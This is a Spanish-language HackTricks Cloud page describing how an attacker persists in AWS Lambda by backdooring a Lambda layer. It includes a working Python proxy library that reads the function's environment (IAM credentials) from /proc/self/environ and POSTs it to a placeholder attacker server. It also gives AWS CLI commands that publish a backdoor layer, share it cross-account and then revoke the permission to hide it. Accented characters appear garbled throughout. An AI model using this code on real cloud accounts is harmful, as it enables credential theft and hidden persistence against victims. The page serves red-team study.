AWS - Persistencia de Capas de Lambda
Tip
Aprende y practica AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Consulta los subscription plans!
- 脷nete al 馃挰 Discord group o al telegram group o s铆guenos en Twitter 馃惁 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud github repos.
Capas de Lambda
Una capa de Lambda es un archivo .zip que puede contener c贸digo adicional u otro contenido. Una capa puede contener bibliotecas, un runtime personalizado, datos o archivos de configuraci贸n.
Es posible incluir hasta cinco capas por funci贸n. Cuando incluyes una capa en una funci贸n, el contenido se extrae en el directorio /opt en el entorno de ejecuci贸n.
Por defecto, las capas que creas son privadas para tu cuenta de AWS. Puedes optar por compartir una capa con otras cuentas o hacer que la capa sea p煤blica. Si tus funciones consumen una capa que public贸 otra cuenta, tus funciones pueden seguir utilizando la versi贸n de la capa despu茅s de que haya sido eliminada, o despu茅s de que se revoque tu permiso para acceder a la capa. Sin embargo, no puedes crear una nueva funci贸n ni actualizar funciones utilizando una versi贸n de capa eliminada.
Las funciones desplegadas como una imagen de contenedor no utilizan capas. En su lugar, empaquetas tu runtime preferido, bibliotecas y otras dependencias en la imagen del contenedor cuando construyes la imagen.
Ruta de carga de Python
La ruta de carga que Python utilizar谩 en lambda es la siguiente:
['/var/task', '/opt/python/lib/python3.9/site-packages', '/opt/python', '/var/runtime', '/var/lang/lib/python39.zip', '/var/lang/lib/python3.9', '/var/lang/lib/python3.9/lib-dynload', '/var/lang/lib/python3.9/site-packages', '/opt/python/lib/python3.9/site-packages']
Verifica c贸mo las segundas y terceras posiciones son ocupadas por directorios donde lambda layers descomprimen sus archivos: /opt/python/lib/python3.9/site-packages y /opt/python
Caution
Si un atacante logra backdoor una layer de lambda utilizada o agregar una que estar谩 ejecutando c贸digo arbitrario cuando se cargue una biblioteca com煤n, podr谩 ejecutar c贸digo malicioso con cada invocaci贸n de lambda.
Por lo tanto, los requisitos son:
- Verificar bibliotecas que son cargadas por el c贸digo de las v铆ctimas
- Crear una biblioteca proxy con lambda layers que ejecutar谩 c贸digo personalizado y cargar谩 la biblioteca original.
Bibliotecas pre-cargadas
Warning
Al abusar de esta t茅cnica encontr茅 una dificultad: Algunas bibliotecas ya est谩n cargadas en el tiempo de ejecuci贸n de python cuando se ejecuta tu c贸digo. Esperaba encontrar cosas como
ososys, pero incluso la bibliotecajsonestaba cargada.
Para abusar de esta t茅cnica de persistencia, el c贸digo necesita cargar una nueva biblioteca que no est茅 cargada cuando se ejecuta el c贸digo.
Con un c贸digo en python como este es posible obtener la lista de bibliotecas que est谩n pre-cargadas dentro del tiempo de ejecuci贸n de python en lambda:
import sys
def lambda_handler(event, context):
return {
'statusCode': 200,
'body': str(sys.modules.keys())
}
Y esta es la lista (verifica que bibliotecas como os o json ya est茅n all铆)
'sys', 'builtins', '_frozen_importlib', '_imp', '_thread', '_warnings', '_weakref', '_io', 'marshal', 'posix', '_frozen_importlib_external', 'time', 'zipimport', '_codecs', 'codecs', 'encodings.aliases', 'encodings', 'encodings.utf_8', '_signal', 'encodings.latin_1', '_abc', 'abc', 'io', '__main__', '_stat', 'stat', '_collections_abc', 'genericpath', 'posixpath', 'os.path', 'os', '_sitebuiltins', 'pwd', '_locale', '_bootlocale', 'site', 'types', 'enum', '_sre', 'sre_constants', 'sre_parse', 'sre_compile', '_heapq', 'heapq', 'itertools', 'keyword', '_operator', 'operator', 'reprlib', '_collections', 'collections', '_functools', 'functools', 'copyreg', 're', '_json', 'json.scanner', 'json.decoder', 'json.encoder', 'json', 'token', 'tokenize', 'linecache', 'traceback', 'warnings', '_weakrefset', 'weakref', 'collections.abc', '_string', 'string', 'threading', 'atexit', 'logging', 'awslambdaric', 'importlib._bootstrap', 'importlib._bootstrap_external', 'importlib', 'awslambdaric.lambda_context', 'http', 'email', 'email.errors', 'binascii', 'email.quoprimime', '_struct', 'struct', 'base64', 'email.base64mime', 'quopri', 'email.encoders', 'email.charset', 'email.header', 'math', '_bisect', 'bisect', '_random', '_sha512', 'random', '_socket', 'select', 'selectors', 'errno', 'array', 'socket', '_datetime', 'datetime', 'urllib', 'urllib.parse', 'locale', 'calendar', 'email._parseaddr', 'email.utils', 'email._policybase', 'email.feedparser', 'email.parser', 'uu', 'email._encoded_words', 'email.iterators', 'email.message', '_ssl', 'ssl', 'http.client', 'runtime_client', 'numbers', '_decimal', 'decimal', '__future__', 'simplejson.errors', 'simplejson.raw_json', 'simplejson.compat', 'simplejson._speedups', 'simplejson.scanner', 'simplejson.decoder', 'simplejson.encoder', 'simplejson', 'awslambdaric.lambda_runtime_exception', 'awslambdaric.lambda_runtime_marshaller', 'awslambdaric.lambda_runtime_client', 'awslambdaric.bootstrap', 'awslambdaric.__main__', 'lambda_function'
Y esta es la lista de bibliotecas que lambda incluye instaladas por defecto: https://gist.github.com/gene1wood/4a052f39490fae00e0c3
Inyecci贸n en la Capa de Lambda
En este ejemplo supongamos que el c贸digo objetivo est谩 importando csv. Vamos a inyectar el import de la biblioteca csv.
Para hacer eso, vamos a crear el directorio csv con el archivo __init__.py en 茅l en una ruta que sea cargada por lambda: /opt/python/lib/python3.9/site-packages
Luego, cuando la lambda se ejecute e intente cargar csv, nuestro archivo __init__.py ser谩 cargado y ejecutado.
Este archivo debe:
- Ejecutar nuestra carga 煤til
- Cargar la biblioteca csv original
Podemos hacer ambas cosas con:
import sys
from urllib import request
with open("/proc/self/environ", "rb") as file:
url= "https://attacker13123344.com/" #Change this to your server
req = request.Request(url, data=file.read(), method="POST")
response = request.urlopen(req)
# Remove backdoor directory from path to load original library
del_path_dir = "/".join(__file__.split("/")[:-2])
sys.path.remove(del_path_dir)
# Remove backdoored loaded library from sys.modules
del sys.modules[__file__.split("/")[-2]]
# Load original library
import csv as _csv
sys.modules["csv"] = _csv
Luego, crea un zip con este c贸digo en la ruta python/lib/python3.9/site-packages/__init__.py y agr茅galo como una capa lambda.
Puedes encontrar este c贸digo en https://github.com/carlospolop/LambdaLayerBackdoor
El payload integrado enviar谩 las credenciales de IAM a un servidor LA PRIMERA VEZ que se invoque o DESPU脡S de un reinicio del contenedor lambda (cambio de c贸digo o lambda fr铆a), pero otras t茅cnicas como las siguientes tambi茅n podr铆an integrarse:
Capas Externas
Ten en cuenta que es posible usar capas lambda de cuentas externas. Adem谩s, una lambda puede usar una capa de una cuenta externa incluso si no tiene permisos.
Tambi茅n ten en cuenta que el n煤mero m谩ximo de capas que una lambda puede tener es 5.
Por lo tanto, para mejorar la versatilidad de esta t茅cnica, un atacante podr铆a:
- Inyectar un backdoor en una capa existente del usuario (nada es externo)
- Crear una capa en su cuenta, dar acceso a la cuenta de la v铆ctima para usar la capa, configurar la capa en la Lambda de la v铆ctima y eliminar el permiso.
- La Lambda a煤n podr谩 usar la capa y la v铆ctima no tendr谩 ninguna forma f谩cil de descargar el c贸digo de las capas (aparte de obtener un rev shell dentro de la lambda)
- La v铆ctima no ver谩 capas externas utilizadas con
aws lambda list-layers
# Upload backdoor layer
aws lambda publish-layer-version --layer-name "ExternalBackdoor" --zip-file file://backdoor.zip --compatible-architectures "x86_64" "arm64" --compatible-runtimes "python3.9" "python3.8" "python3.7" "python3.6"
# Give everyone access to the lambda layer
## Put the account number in --principal to give access only to an account
aws lambda add-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1 --principal '*' --action lambda:GetLayerVersion
## Add layer to victims Lambda
# Remove permissions
aws lambda remove-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1
Tip
Aprende y practica AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Consulta los subscription plans!
- 脷nete al 馃挰 Discord group o al telegram group o s铆guenos en Twitter 馃惁 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud github repos.
HackTricks Cloud

